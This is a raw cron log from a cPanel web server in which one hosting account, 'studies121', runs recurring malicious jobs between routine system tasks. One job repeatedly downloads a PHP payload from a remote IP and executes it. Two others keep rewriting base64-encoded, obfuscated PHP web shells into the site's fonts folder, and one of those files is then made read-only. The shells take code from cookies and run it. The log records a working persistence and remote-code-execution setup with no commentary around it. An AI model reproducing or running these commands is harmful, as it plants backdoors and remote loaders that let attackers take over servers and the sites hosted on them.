Sep 10 20:42:01 ip-184-168-122-23 CROND[7166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:42:01 ip-184-168-122-23 CROND[7167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:42:01 ip-184-168-122-23 CROND[7168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:42:01 ip-184-168-122-23 CROND[7169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:43:01 ip-184-168-122-23 CROND[7278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:43:01 ip-184-168-122-23 CROND[7281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:43:01 ip-184-168-122-23 CROND[7280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:43:01 ip-184-168-122-23 CROND[7282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:44:01 ip-184-168-122-23 CROND[7364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:44:01 ip-184-168-122-23 CROND[7366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:44:01 ip-184-168-122-23 CROND[7369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:44:01 ip-184-168-122-23 CROND[7367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:44:01 ip-184-168-122-23 CROND[7368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:45:01 ip-184-168-122-23 CROND[7466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:45:01 ip-184-168-122-23 CROND[7468]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 10 20:45:01 ip-184-168-122-23 CROND[7469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:45:01 ip-184-168-122-23 CROND[7471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:45:01 ip-184-168-122-23 CROND[7470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:45:01 ip-184-168-122-23 CROND[7472]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:45:01 ip-184-168-122-23 CROND[7473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:46:02 ip-184-168-122-23 CROND[7661]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:46:02 ip-184-168-122-23 CROND[7664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:46:02 ip-184-168-122-23 CROND[7665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:46:02 ip-184-168-122-23 CROND[7666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:46:02 ip-184-168-122-23 CROND[7663]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 20:46:02 ip-184-168-122-23 CROND[7668]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 20:46:02 ip-184-168-122-23 CROND[7669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:47:01 ip-184-168-122-23 CROND[7790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:47:01 ip-184-168-122-23 CROND[7795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:47:01 ip-184-168-122-23 CROND[7793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:47:01 ip-184-168-122-23 CROND[7794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:48:01 ip-184-168-122-23 CROND[7874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:48:01 ip-184-168-122-23 CROND[7877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:48:01 ip-184-168-122-23 CROND[7876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:48:01 ip-184-168-122-23 CROND[7879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:48:01 ip-184-168-122-23 CROND[7878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:49:01 ip-184-168-122-23 CROND[7978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:49:01 ip-184-168-122-23 CROND[7979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:49:01 ip-184-168-122-23 CROND[7981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:49:01 ip-184-168-122-23 CROND[7980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:50:01 ip-184-168-122-23 CROND[8077]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:50:01 ip-184-168-122-23 CROND[8081]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 20:50:01 ip-184-168-122-23 CROND[8080]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:50:01 ip-184-168-122-23 CROND[8082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:50:01 ip-184-168-122-23 CROND[8088]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:50:01 ip-184-168-122-23 CROND[8089]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:50:01 ip-184-168-122-23 CROND[8091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:50:01 ip-184-168-122-23 CROND[8087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:50:01 ip-184-168-122-23 CROND[8090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:51:01 ip-184-168-122-23 CROND[8189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:51:01 ip-184-168-122-23 CROND[8190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:51:01 ip-184-168-122-23 CROND[8191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:51:01 ip-184-168-122-23 CROND[8192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:52:01 ip-184-168-122-23 CROND[8368]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 20:52:01 ip-184-168-122-23 CROND[8370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:52:01 ip-184-168-122-23 CROND[8371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:52:01 ip-184-168-122-23 CROND[8373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:52:01 ip-184-168-122-23 CROND[8372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:53:01 ip-184-168-122-23 CROND[8468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 20:53:01 ip-184-168-122-23 CROND[8470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:53:01 ip-184-168-122-23 CROND[8471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 20:53:01 ip-184-168-122-23 CROND[8472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:54:01 ip-184-168-122-23 CROND[8547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
